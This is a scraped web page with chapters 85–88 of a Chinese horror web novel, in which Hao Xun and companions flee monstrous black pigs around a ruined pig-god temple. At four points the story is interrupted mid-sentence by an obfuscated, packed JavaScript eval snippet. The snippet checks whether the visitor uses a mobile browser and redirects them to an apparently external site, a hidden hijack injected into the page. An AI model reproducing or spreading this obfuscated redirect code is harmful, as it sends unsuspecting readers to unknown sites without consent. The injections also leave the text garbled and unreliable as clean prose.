;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14811312|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 涸土地上洒满荒草和枯叶,踩起来发出“咔嚓咔嚓”的声音,在山林中格外显眼。 雾气渐浓,她好像逐渐走进了某种“结界”,一时间,连风声都没了。 一股冷气袭向她的脖颈,心重重一跳。 她有某种预感,有什么要来了。 郝荨迅速加快脚步,望向四周,这林子里什么都有,就是没个能藏人的地方——有个树洞! 那是一颗拦腰截断的巨树,约有三人张开双臂合抱那样粗,树身上一片焦黑痕迹,像是被雷劈的。 雷击木? 她不知道这是不是传说中的辟邪神器,但现在也管不了那么多了! 那寒冰般的气息越来越近,郝荨猛地跃起,一个滑铲把自己给滑入了树下的空间。 树根恰好围出一个洞口,她蜷缩在里面,从下方的缝隙往外看。 四周静谧得有些诡异,突然,一阵低沉粗重的喘息声从前方不远处传来,郝荨心猛地一紧! “咔嚓。” 枯枝被什么踩断,空气中弥漫着一股腐臭气息。 她沉住气,将头压得更低,雾气不知何时从白转红,深红色的薄雾钻入每一处缝隙,一个庞大身影在雾气中浮现—— 那是一头如小山一般高的巨大黑猪! 它粗糙杂乱的黑色毛发上还沾染着污秽和血迹,郝荨移开视线,尽量不让自己去想这些血迹的来源。 和村子里那些乌金不同,这只黑猪没有眼睛,眼窝是两个空空如也的黑洞,一团燃烧着的红色火焰从里头冒出。它的身躯上垂落着几根断裂的锁链,发出“哐当”、“哐当”的声响。 郝荨身体不由自主僵住,冷汗不断从额头冒出。 这是什么东西? 也是乌金? 又或者——它就是那位苏醒的“乌神”? 突然,这只黑猪停住脚步。 一股从基因深处升腾而起的恐惧直冲她的天灵盖,她被盯上了。 这头黑色的庞然大物慢慢踱着步往郝荨藏身的树木走来。 一步、两步…… 它开始绕着树转圈,每一步都震得地面发颤。 郝荨有些焦躁,这树洞虽隐蔽,却也把她的退路给封死。她看向自己背包里的马桶,现下,也只能拿【休憩的沉思者】来搏一把,看看是马桶先碎,还是对方的耐心先用完。 巨猪用前蹄刨了刨地面,然后紧接着,只听一道震耳欲聋的嚎叫,它猛地朝她的藏身处撞了过来—— “砰!!!” 沉重的古树晃了晃,眼看着就要被它掀开,郝荨突然感觉到身后一空,差点滑下去! 她伸手一摸,树洞最深处竟然出现了一个地洞! 一截热乎乎的、柔软的鼻子从里头探出,是一只可爱的小乌金! 它的眼睛散发着人性化的光,这只小乌金轻轻咬住郝荨的衣角,头动了动,示意她快进洞。 郝荨眼睛一亮,这树洞的位置狭小,不太容易转身,她立刻调整姿势,让这只乌金能够轻松地将自己拖进洞里。 不多时,只听“轰”一声,断裂的巨树轰然倒塌,洞里的人呢?! 黑色巨猪喷了个响鼻,发出了不满的呼噜声。 85. 乌鬼村06 “谢谢你哦。” 她小声开口:“你能听懂我说话吗?” 乌金扭了扭屁股,郝荨再接再厉:“你知道白土吗?我和朋友来山里就是希望能找到白土。” 小乌金动作一顿,回头看了她一眼。 黑黢黢的洞里,只能看到它那双眼睛亮的出奇。 它想了想,把头低下去仔细嗅了嗅,这次嗅得特别仔细,过了差不多三分钟,它好像找到了什么,发出了愉快的“呼噜”声。 它往前小跑了几步,回过头,眼神急切。 “让我跟你走?” 郝荨跟着这只小黑猪在狭隘的地洞里爬了不知道多久,才终于从土中冒出头来。 刚探出头,她就被大风吹了个仰倒。 这洞口开在山壁,山下是片雾气弥漫的山谷,她眯着眼看了许久才看清,这片山谷底部有座庙。 郝荨小心翼翼从山壁爬下,来到了谷底。 雾气愈发浓重,荒凉破败的古庙在雾中若隐若现,这座庙年代久远,庙顶的瓦片已经破碎不堪。 大门敞开着,没有牌匾。 郝荨趴在门边往里瞧,门内的空地上,有一尊残缺不全的石像倒在草丛里。 看这形状……像是一只黑猪。 乌神庙? 她犹豫片刻,进入了古庙中,刚一踏入,她就捂住了鼻子。 什么味道? 腐臭味夹杂了些烟熏气味,不好闻,却让人忍不住想吸鼻子。 庙宇不大,只有一个大殿,大殿中央矗立着一座高大的乌金神像,与她刚刚在山林里碰到的那只巨大黑猪有三分相似。 乌神趴在神坛之上,姿态闲散,奇怪的是,乌神的眼睛明明是在向上看着,郝荨却总觉得对方在盯着她。 这里不知多久没人来过了,供桌上的祭品早已腐烂风干,积了厚厚一层灰。 大殿周围的墙壁上有一些褪色的壁画,乌神高高端坐在云端,下方是无数跪倒在地的人类,他们高高举着双手祈求乌神庇佑,眼神狂热而扭曲。 她眼前恍惚了一瞬,仿佛看到血色雾气里有一对巨大的眼。 “哒、哒……” 一串拖沓的脚步声传来。 有人! 郝荨闪身躲进神像背后,那里有一处窄小的空间,一般来说,这处都是庙里给香客供长明灯的地方,乌神庙也不例外。 她一边耳朵听着外头的动静,眼神快速打量着这处空间。 这里整面墙都是小小的方格子,每个格子里都放着一块牌位,排列得整整齐齐。 她快速扫了一眼,这里所有的牌位无一例外——都姓乌。 嗯? 这些不应该是供在村里祠堂吗?怎么都是乌神庙? 外头突然“扑通”一声,紧接着就传来了一阵低喃,语速快速又平稳,像是在默念什么经文。 趁着这时候,郝荨离开紧贴着的乌神像,仔细翻看那些牌位。 看着看着,她忽然发现了一件事。 这里的牌位都是按辈分从上到下排的,最上面的应该是乌氏先祖,享年四十三。越往下,时代越近,而亡者的年纪……也越来越轻。 直到这两三代,几乎全是十几二十岁的年轻人了。 她随手拿起最下面一排的两个牌位,乌平贵、乌平俪……两人出生年份隔得不久,看着像是对兄妹。 “咚。” 郝荨立刻回神,她将牌位握在手里当武器,重新贴回神像。 “咚。” 又是一声。 伴随着越来越远的低沉呢喃,她蹲了下来,试探着探出头去—— 一个从头到脚身披破旧长袍的男人背对着她,正从一个角落往另一个角落走去。 他低着头走到角落处,脑袋磕在墙上,发出“咚”的声响。 然后,他头也不抬地微微转动身体,往另一个角落走去。 “咚。” “咚。” 他不断在四个角落转着,念经般的低语持续着,无论是走路还是撞墙都没有让他停下半点。 这场面实在诡异,一个四肢健全的人穿着拖到地上的破烂衣衫,边念经边在屋子的四个角落转圈,就像……那不是人一样! 一直跟在她身边的小乌金忽然上前,郝荨眼疾手快将它捞起。 你不要命啦! 知道那是什么吗就上去?! 乌金无辜地看着她,张嘴就要叫,被郝荨一把捏住嘴。 一直躲在这也不行,谁知道这不知道是人是鬼的会不会突然转进这里。 郝荨深吸一口气,决定搏一搏。 她将乌金夹在胳膊里,右手握着乌平俪的牌位,瞅准时机,轻巧地跟在那人身后。 这个人个子不低,披着褴褛长袍一步一步走着。 “咚。” 要转弯了! 郝荨快步跟上,在他拐弯的时候顺利贴近,此刻,她里这个男人只有短短一米距离。 “……卡……” 她忽的愣住。 离得近了,完整的念经声倏地传入她的耳朵: “……卡巴……” 等等,这是—— “……玛卡巴卡阿卡哇卡米卡玛卡……” 郝荨:…… 她反手就是一牌位,这个熟悉的高度,这个熟悉的惨叫。 稳了。 “谁打我?!” 长袍男猛地扭身,双目仿佛要冒出火光,但这束火在看到郝荨的瞬间一下子熄灭。 “荨姐!”余逸喜出望外。 郝荨骂道:“你有病啊!在这里念什么玛卡巴卡?!” 吓死她了! 余逸被骂得一懵:“啊?” 他突然四下张望了片刻:“荨姐,这是哪儿啊?我怎么穿着这个?猪呢?” 郝荨眉毛一皱:“你不记得了?” 余逸把长袍抖落在地,在原地蹦跶了两下。 脏死了!也不知道他身上有没有虫! “我只记得…我在林子里挖土,可是那里都是黄土地,没有那种黑红色的‘白土’,然后……” 他想起什么,打了个冷颤。 “然后我碰到了一只好大的猪,跟山一样大!眼睛还是绿色的鬼火!一看就有问题!” “等等,”郝荨打断他,“绿色?” “对,绿色的!他一直追着我咬!不知不觉我就跑到了崖边,我本来想跟电视剧里一样,拽着藤蔓在下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823041|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面躲一躲的,没想到那藤蔓不结实,断了!” 想到这,余逸仔细检查了一下自己的四肢,在按到手腕时,他“嘶”了一声。 他的左手以一个违反人体力学的姿势在半空晃荡着,断了。 “然后…然后我就不记得了。” 再睁开眼时,自己的脑袋上已经多出了一个包。 余逸泪眼汪汪地摸了摸自己的后脑勺,等发现他荨姐是拿什么打他时,他更想哭了。 怎么还在外人面前打他! 他缩着脖子,用完好的那只手拉住郝荨的衣袖:“姐,咱们快走吧,这神像不对劲!” 他看起来很害怕,眼睛无意识地四处转动,就是一眼都不敢看向那神像的方向。 郝荨回头看了看,这尊乌神像并不像一些神佛一样面目狰狞,就是一只普通的大黑猪,要是从山上远远看来,说不定还以为是盘烤黑猪。 “你在害怕什么?” 余逸扯着郝荨出了庙,才探头探脑开口:“荨姐,你不觉得,这个黑猪的眼神瘆得慌吗?” 郝荨侧头望去,哪怕他们已经出了庙,也依然能感觉到那尊神像的视线。 “小的时候我爸妈忙,就把我送到老家让我姥姥姥爷照顾,他们住的也是这么一个在山里的小村子,我那时候才七八岁,满山乱跑他们也不担心,只有一个地方他们不让我去。” 余逸咽了口口水:“就是村里的猪圈。” “我姥说,猪圈邪门得很,它们看起来白白胖胖与世无争,每天只知道吃了睡睡了吃,实际上连养它们的熟手都不敢随便靠近!” “我记得有一次,村里有个小孩不见了,大家还找了很久都没找到,还以为是被拍花子抱走了,但我觉得不是,半夜睡觉的时候我还听到那小孩在哭!” “我就偷偷爬起来在村里找,最后……在猪圈里找到了。” 那猪圈一天到晚都臭烘烘的,家养猪的体型又大,挤在一起又乱又吵,什么也看不见。 可余逸不死心,大人们都放弃了,要是他能找到,那不就是村里的小英雄吗?! 于是他撅着屁股钻进猪圈,里头实在太臭了,又挤又闷,村里照顾得不大干净,他身上自然也沾满了各种污秽,吐了好几次。 都快放弃了,他忽然被一只翻身的大猪拱到了角落。 先是一股没闻过的腥臭味传入鼻子,然后他摸到了一手湿热的液体,接着,灯忽然亮了,姥姥哭天喊地地冲过来,粗糙的大手一把将他捞起夹在怀里,用力打了几下他的屁股。 泪眼朦胧里,他只记得自己看到了半件失踪小孩穿着的红色T恤,还有那只躲在角落里的小猪往上看过来的眼。 只是,当时还很幼小的他明明记得,小孩丢了那天穿着的——明明是一件白色T恤啊。 “后来,我姥跟我说,猪这种生物是很恐怖的,要是饿极了不止会吃自己的同类,还会吃人!” 余逸想到过去的回忆,又打了个哆嗦:“正常的猪都是向下看的,只有吃过人的……才会有那种向上看的眼神。” 郝荨抱着小乌金的手紧了紧,然后,她看到了余逸慢慢变得惊恐的眼神—— 她缓缓低下头,怀里的那只乌金正翻着眼睛往上看着她。 86. 乌鬼村07 见郝荨看去,那只小乌金居然还人性化的露出了一个“哎呀,被发现了”的表情。 郝荨的心一下凉透了。 同样凉的还有她的手,她手上湿漉漉的,全是乌金没忍住流下的口水。 它垂涎欲滴地望着郝荨,郝荨脑袋还没反应过来,身体已经诚实地将乌金往远处一抛。 “靠!” 两人转身就跑。 乌神庙的另一边是一片密林,杂草丛生,跑起来格外艰难。 乌金在他们身后穷追不舍,发出了悠长的呼噜声。 也不知道它怎么发出来的,这声音在密林中传得异常远,不断回荡着,郝荨心中一紧。 这模样,怎么那么像动物世界里的呼唤同伴? “唉哟!” 一个黑影突然从树后转出,郝荨反应不及时,猛地撞了上去。 她迅速躬身护住脑袋,在地上打了个滚。 幸亏余逸反应快,躲开了,不然他那断了的左手还得遭受二次伤害。 “哎呀!”被撞到的女孩也叫了一声,声音轻柔。 她晕头转向地趴在地上,半天没动静。 “茶茶?怎么了?” 扎着马尾的女人快步从另一头跑来,见到郝荨二人愣了一下:“你们——?” “来不及解释了,快跑!” 说完,郝荨就要跟余逸继续逃跑,却被赶来的彪哥和他们团队的最后一个队员一把截住。 “咋了咋了咋了?!你们欺负人?!” 那队员没说话,着急忙慌地将茶茶扶起,从上到下检查了好几遍,才松了口气。 “你小心点啊!” 叫茶茶的女高中生这会儿才反应过来,她温温柔柔道:“他们没有欺负我,是我自己不小心摔了一跤。” 最后到来的队员是个长着一双忧郁眼睛的三十多岁男人,听到这话,他不复刚才的担心,而是露出了一副吃了苍蝇的表情。 “……你能不能不要这么说话。” 茶茶无辜道:“我就是这么说话的——呀!那是什么?” 顺着她手指的方向望去,一团浓重的黑影在血色雾气中若隐若现。 不,那不是黑影。 “跑!” 郝荨拽着余逸就跑,灵秀团队下意识跟上。 彪哥不解:“这边是山!咋往这边啊?!” “后面也有!” 郝荨言简意赅,她的体力已经不支持她说更多话,现在能勉强跟上大家已属超常发挥。 好在隔壁团队也有拖后腿的,灵秀和忧郁男一边一只手连拖带拽,茶茶才没掉队。 倒是彪哥明显是游刃有余,他回头看了好几眼,才看清那草丛里竟然还有只小乌金。 “嘿!那小短腿跑得还挺快,都出残影了!” 乌金的目光迅速转向他,彪哥不以为意:“哟呵!还看我呢,难不成还能听懂我说话?” 山上很安静,只有他们几人踩碎树叶的沙沙声和喘气声回荡。 “这里!” 灵秀大喊一声,矮身躲进了高处的一处山洞。 这洞口位置很巧妙,恰好被一颗崎岖的古树挡住,需要绕过树才能看见洞口,几人一起躲了进去。 郝荨屏息凝神,等到一丁点动静都听不见,她才终于缓了口气。 灵秀压低声音问:“那是什么?” 郝荨:“是乌金。” “乌金?!” 彪哥大嗓门一出,就被灵秀扇了一下。 他委屈地摸摸后脑勺,用气声道:“那玩意儿还能长那老大?” 洞里光线不好,只能将人看个囫囵,但郝荨依然能感觉到这个团队的队长在凝视她。 灵秀盯着她看了一会:“方便做个情报交换吗?” 她指了指自己和团队成员:“灵秀,彪哥,茶茶,和——” 说到最后一个队员时,她可疑地停顿了一下。 那个身材高大的男人自我介绍道:“哦,我叫费扬扬。” 郝荨:…… 她也把自己团队的成员介绍了一下:“你想知道什么?” “山谷里有什么?你们做了什么,怎么会被乌金追?” 郝荨想了想,回答道:“那下面有座庙,庙里供奉的神不出意外的话,应该是乌神,至于为什么被追……我们也还没搞清楚。” “乌神庙里没有别的东西吗?”灵秀追问。 郝荨挑了挑眉:“一个问题换一个问题,你们已经问了两个问题,这不太公平吧。” 灵秀停顿片刻:“你想知道什么?” “你们发现了什么?” “哪有你这样问问题的——” “秀秀姐,告诉她吧,”茶茶细声细气开口,“她刚刚明明可以把我丢在那当诱饵,但还是叫我们一起跑,玛弥不是坏人的。” 灵秀嘴角抽动了一下,这个女高中生是她这次的老板,刚见面时看着怯生生的,是个内向乖巧的女娃,哪晓得说话这么……瓜。 费扬扬冷不丁开口:“大人说话,小孩别插嘴。” 郝荨歪了歪脑袋,这俩人,可真有意思。 灵秀将手伸到郝荨跟前,掌心放着一枚圆滚滚的血色圆球。 余逸疑惑:“这是什么?” “舍利子知道吗?” 郝荨点头,据说只有得道高僧火化后,骨灰中才会出现舍利子。 “就跟那差不多,村长说,整个乌鬼村里一共有十八颗舍利子,是当年乌神留下的,每一枚都有它特殊的作用。” “哦?” 这洞里实在太黑,她凑近仔细瞧也没瞧出什么门道来。 “你这颗有什么作用?能说吗?” 见她没有伸手的意思,灵秀稍稍放松了些:“这颗就是让乌金长大,没什么特别的。” 郝荨不着痕迹地转了下眼睛,“这颗”没什么特别,潜台词就是其他舍利子有特殊的作用。 她正想问问其他情报,却忽然感觉一阵心悸。 一股凉意正对着她面门缓缓吹来,是风? 不对。 她这会儿正面对着洞内,虽然光线不好看不大清,但过来时她就知道这不是正儿八经的山,而是山上的小山包。 这样的地形,即便有洞,也不会有多大。 可现在,就这样不大的洞里竟然有风,她吸了吸鼻子,风一阵一阵的,极有规律—— 就像是某种轻缓的呼吸! 她一下拽住余逸手臂,缓缓起身。 “啊?怎么突然——” 余逸噤声,他看见了。 黑乎乎的山洞忽然睁开了眼,是一双漂浮着幽黄鬼火的眼。 “呼噜……” 灵秀:“是乌金!” 彪哥一下挡在她跟前:“你们先跑,我殿后!” “注意安全。” 说完,灵秀就带着其他人一步一步往后退去,生怕激怒那只刚刚转醒的乌金。 彪哥动了动脖子,手指被他按得噼啪作响:“嗨,总算是能活动活动,老子都玩几场动脑子的游戏了,没劲!” 话音刚落,一阵密集的脚步声从洞口又传了回来。 “你们咋回来了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14842135|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他偏头看去,洞口的光线一下变得更暗,像是被什么挡住。 “我们被包围了。”灵秀表情很难看。 一个小小的黑影从洞外跳进,小乌金发出了快活的呼噜声。 它在原地蹦了蹦,张开嘴,露出了尖利而细密的牙齿,口水不断滴落在地,它低着头,翻着眼睛往上看向几人,眼里闪烁着激动的光芒。 “靠!这猪怎么回事,看着怪瘆人的!”彪哥搓了搓手臂。 灵秀没有理睬他,她叹了口气:“只能这样了。” 说完,她面前忽然凭空出现一匹只有漆黑骨架的高大马匹,骨架上燃烧着熊熊鬼火。 “好炫!” 余逸睁大双眼,满脸写着想要。 灵秀熟练地把老板和费扬扬一起拉上马,几人挤在一起,费扬扬甚至只能坐上半个屁股,他强行扯住缰绳,以一个极其艰难的姿势把自己和马贴在一起,彪哥倒是很熟练的样子,他一脚踩住灵秀让出来的马镫,另一只手扒着马匹的骨架,甚至还有心情挺直脊背,像是一柄出鞘的剑一样谢谢依靠在马边。 看起来好像很帅,但在郝荨看来,这和某个国家的离谱超载纪录片没什么两样。 灵秀回头望了他们一眼,洞里的那只乌金已经彻底醒来,它甩甩头,就要扑上来—— “我帮你们撞开门口那只,其他的…自求多福吧!” 灵秀狠狠一甩缰绳,浑身燃烧着火焰的骨架便猛地冲向洞口。 “荨姐。”余逸轻声开口。 “嗯?”郝荨点开系统背包,随口应道。 余逸转身走到郝荨背后:“一会儿你可得跑快点。” 他深吸一口气,大喊一声:“我去了!!!” 啊? 郝荨一回头,就看到这个莽夫甩着他那只断手弹跳起步,要抱住那只往两人方向冲来的乌金—— “去你个头!乌拉拉!” 一道嘶鸣声响起,漂亮的小母马高昂着头喷了个响鼻出现。 郝荨坐上马车,还不等她坐稳,乌拉拉就像是看到了什么刺激东西,弹射起步甩着车厢就冲着乌金飞奔而去。 等余逸感觉不对时已为时已晚,他只能感觉到一股巨力从腰后袭来,下一秒,身体飞起,他的视线就到了洞顶—— “砰!” 他被甩飞到了车厢里。 “抓稳!” 郝荨大声叫着,声音在超高的速度中显得格外破碎。 “让让!要撞车了!!!” 乌拉拉不满地撂着蹶子,哪里来的骨头马? 谁给它的勇气在她乌拉拉前头? 没有谁!能比乌拉拉!更懂!刺激! 乌拉拉!乌拉!!! 乌拉拉低下头,身体肌肉呈现出漂亮的流线型,空气阻力减少,她的速度更快了! 灵秀听到大喊,有些疑惑地回头,然后,她瞳孔地震! 一辆马车跟疯了一样左右横跳,正以超高速往他们的方向狂奔而来—— “我靠!” 灵秀忙拉紧缰绳,可已经来不及了。 一声重重的“砰”后,两方人马都被撞得晕头转向,郝荨强忍住吐意,抬头望去,灵秀那匹大马狠狠撞上了洞口的乌金,把那只乌金撞得一个趔趄,然后运气很好的,把自己撞进了一条下坡路。 不过两秒,就再也看不见他们人影了。 他们都安全了! 只是—— “等等!你们落人了!” 余逸崩溃大喊,而在他旁边,少女正颤颤巍巍晕头转向地爬起: “这…我在哪儿啊?” 87. 乌鬼村08 “啊啊啊啊啊啊呕——” 余逸气若游丝地趴在马车边缘,边吐边抓紧马车,手背青筋直冒。 不抓不行啊! 稍不注意,他就跟坐蹦床似的要飞出去了! 颠,太颠了,颠点好啊! 乌拉拉闪着七彩光芒,在密林里疾驰,追着他们的乌金一只接一只的消失在雾气里,他们安全了。 郝荨用力扯住缰绳,乌拉拉这才停下脚步,脸上还意犹未尽。 坐在车上的三人虚弱地爬下马车,蹲在地上好一会儿才缓过劲来,郝荨将乌拉拉收起,这种战略性坐骑,还是不要轻易动用为好。 余逸擦了擦嘴,他晃晃脑袋,只感觉自己脑袋里一片水声。 脑浆似乎都甩匀了。 “荨…玛弥,她怎么办啊?”他抬手指向坐在地上一直沉默的茶茶。 郝荨也觉得棘手,灵秀团队跟他们晚上是两个方向,这会儿人影早已不见,送又送不回去,扔在这吧又不大仗义,毕竟是她先撞到人才把人落下的。 她按了按头问道:“茶茶,你怎么想?是要自己回去还是先跟着我们?” 叫茶茶的女高中生抬起头,肤色苍白,一副可怜巴巴的样子: “我、我能先跟着你们吗?玛弥姐姐,求求你……不要扔下我。” “行吧,来,你先起来。” 郝荨伸手去拉她,边抬头打量他们现在在哪。 这里的树看起来比之前更高,树冠紧挨着,像是一张密集的网,血色雾气也分外浓重,连呼吸时都会感觉鼻腔内一阵刺痛。 余逸走到郝荨身边,那是他惯常跟着的位置,刚要开口询问就被一个身影不轻不重地挤开。 茶茶轻柔开口:“我们现在去哪呀?” 余逸微微睁大双眼,不敢置信地望着女高中生。 那是他的位置! 他的! 他犹豫片刻,走到郝荨另一边。 “时候不早,我们先找找看下山的路吧。” 迷雾游戏里夜晚往往会更加危险,她们这场游戏才刚开始,没有必要冒险。 余逸:“好——” “好的呀!” 茶茶的声音不大,嗓子也细,但偏偏存在感很强,她挤在郝荨身边,几乎占据了她全部的视线:“玛弥,你好厉害呀,灵秀姐跟彪哥他们都以为你们出不来了,没想到你还有那么厉害的道具!” “你这么厉害,队友也一定很厉害吧?” 余逸眉头一皱,作为一个淳朴的直男大学生,他隐隐感觉到不妙。 接着,就见茶茶仰着那张还带着婴儿肥的脸真诚问道:“我说的对吗?小余哥哥,你一定不是那种拖玛弥后腿的人哦,不像我…只会让玛弥分心来照顾我……” 她垂下脑袋,和脖颈形成了一个漂亮的三十度柔弱姿态。 余逸一哽,只觉得一柄大锤重重砸在他心头。 “我…我当然不会拖玛弥后腿了!” “真的吗?”茶茶紧随其后,“那太好啦!小余哥哥,你会什么呢?” 又是一锤。 余逸仿佛听到小锤四十大锤八十的声响回荡在他耳边。 找到了!郝荨眼睛一亮,这密林里竟然有条山路正好通往山下。 她带着两人往山路走,顺口帮余逸挡回:“他会得可多了,这一时半会也说不清,那你呢?你会什么?” 余逸眼睛一下就湿润了,呜呜,还是他荨姐好! 不行,他要站起来! 不能永远让荨姐帮忙,跟个躲在鸡妈妈身后的小鸡仔一样! 他挺起胸膛,一副慷慨就义的神色,重重叹了口气: “唉——茶茶妹妹什么都不需要会,她这么善解人意,只要跟玛弥专心聊天就好,玛弥的安全就由我来守护!” 郝荨:…… 她只是找个路,这俩人怎么还互相茶上了? 茶茶恨恨道:“玛弥姐,你看小余哥哥好凶哦,我是不是哪里得罪他了……” “玛弥~” 余逸跺脚,比她还要矫揉造作:“你看茶茶妹妹~她阴阳我~!” 山道旁忽然钻出两个人影,一大一小两人挡住去路,看着他们露出了不赞同的目光。 “呃——”方柚柚抱着自己的兔子偶尔,满脸不解。 而霍格的眼神更是耐人寻味,有一瞬间,郝荨甚至以为自己是抛妻弃子在外左拥右抱的渣男。 “等等,你们听我解释!” …… “那种像山一样高的乌金我也遇到了,”方柚柚有些疑惑,“它们是哪来的?正常情况下,植被这么密集的山林里应该长不出如此巨大的生物。” 余逸:“嚯!你在迷雾世界里找科学,这件事本身就不科学。” 郝荨点头:“总而言之,安全起见,她现在只能先跟着我们,”郝荨看了看天色,“要抓紧时间了,在入夜前一定要回村子里。” 几人加快脚步,本就遥远的山路因天色渐暗变得更加漫长。 霍格忽的停下脚步:“不对劲。” 余逸断了的那只左手已经几乎没有知觉了,被霍格紧急拿树枝固定了一下,此刻正滑稽地绑在胸口。 他看了看周围,没发现什么毛病:“挺正常的啊。” 郝荨警惕地慢慢转身观察:“距离不对。” “嗯。”霍格应声。 他和方柚柚是在这座山脚下碰到的,上山后走了差不多四十分钟,但此刻他们已经拽走了将近一个半小时,山路一直在往下,却一直没有走到头。 “鬼打墙?”郝荨眉头一皱。 “沙沙。” 霍格耳朵一动,什么动静? 他猛地转头,郝荨注意到他的动作,轻声问道:“怎么了?” 霍格没说话,只是下意识摸上自己的手臂,然后身形一僵。 差点忘了,这个副本禁止攻击性武器道具。 郝荨顺着他的方向望去,模糊的雾气中有什么微微晃动了一下,她的神经紧绷起来。 过了一会,那东西又晃动了一下。 “沙沙。” 一颗乌金脑袋从草丛中探出,它乖巧地低着头“呼哧呼哧”啃食着,眼睛低垂着,既没有翻着眼向上望着他们,也没有丝毫要往这里冲来的举动。 郝荨松了口气,看来这是只普通的黑猪。 “没事,走吧。” 他们继续向前走了一会儿。 “沙沙。” 几人脚步一顿,就连一直摆着柔弱表情的茶茶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14859117|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都严肃起来。 郝荨回头望去,身上顿时起了一层白毛汗。 他们身后不远处,乌金稍稍转了半圈,埋头苦吃,一步未动。 可奇怪的是,乌金没有动,他们动了! 他们明明走了好一会儿,为什么还停留在原地?! 几人不敢离远,只走到几步外远眺了片刻,这里树都长得差不多,实在分辨不出。 雾气逐渐将乌金遮掩,他们只能听到不断的“沙沙声”和一片朦胧的黑色影子。 “怎么办?” 方柚柚有点麻爪,这要是个有形的东西她还能想办法解解,这一片雾气…… 视野被遮蔽后,听力也仿佛受到了影响,郝荨只觉得自己慢慢陷入了一片混沌,直到一声清晰的破空声—— “咻——!” 一颗石头忽的划破雾气,砸入她脚边的土地。 她倏地抬起头,被石子破开的雾气还未来得及再次聚拢,她看见了那张有些熟悉的脸。 “安娃儿!” 霍格和余逸一步上前,将她们挡得严严实实。 一阵树枝作响,安娃似乎快速换了个方位,霍格猛地拉了一把余逸。 “咻——!” 又是一击,余逸心有余悸地摸了摸自己的下巴,要不是霍格来得快,他现在就该担心自己吃饭时会不会掉桌的问题了。 此刻天空已经半黑,本就阴沉的天色显得更加昏暗,雾气中逐渐升腾起丝丝血色痕迹,像是血液滴进水里似的,融化在雾气中。 血色雾气里,安娃拿着他自制的弹弓蹲在树上,动作灵活,还未长成的脸上透着坚毅,他冷静地再次拉开皮筋—— 郝荨大声喝道:“我们是村长请来的客人!” “咻!” 石子擦过他们的头顶坠落,射偏了! 安娃的声音终于响起:“乌鬼村不需要客人!” “是吗?村里其他人可不这么认为。”郝荨故意将姿态放高,“你这样攻击我们,被村子知道了可就惨了。” “我想,你应该认识下山的路?不如你主动帮助我们,带我们回去,我们就不会说出你再次攻击我们的事,大家互帮互助不好吗?” 话音刚落,皮筋拉紧的声音就在此传来。 “不要你们假好心!” “等等!”余逸着急忙慌大喊。 郝荨也喊道:“有什么话好好说嘛,我们是受邀而来,总不能就这么不明不白的走呀,你不如说清楚为什么要我们离开?这样村长问起的时候我们也好找借口嘛!” 她快速换了种沟通方式,这次应该是找对了,安娃儿纠结片刻,才总算是做出了决定。 他动作利落地滑下树,走进雾气,站在了离他们不近不远的地方。 这个距离卡得刚刚好,既不会让他们一下抓住,也不至于完全看不见彼此。 他绷紧小脸,干巴巴道:“你们真的肯离开?” 郝荨点点头:“我们当然会离开。” 她也没说谎,他们本来就是“外乡人”,任务做完自然就会离开。 安娃还没有体会过大人世界的险恶,他轻易就相信了郝荨看,他嘴巴张着,半晌,开口说了一句话: “乌神……乌神好像疯了。” 88. 乌鬼村09 “乌神……乌神好像疯了。” 安娃儿的目光有些空洞,他像是看到了什么东西,狠狠打了个哆嗦。 “疯了?”郝荨几人互相看了一眼,“什么意思?” 说到这,安娃却不愿意在说下去了,郝荨哄骗了好一会儿他才抿了抿嘴继续开口: “祂…带走了大哥大姐。” 带走? 他的表情看起来可不像只是带走这么简单,倒像是他哥姐已经死了似的。 “村长不是说,他们离开白茫茫山去找你爸妈了吗?” “不可能!” 安娃的眼睛几乎要冒出火光:“他们是不可能丢下我一个人的!” “嗯……”余逸眼神迟疑,这真的不是叛逆少年的胡思乱想吗? 可接下来的话却否认了他的猜测。 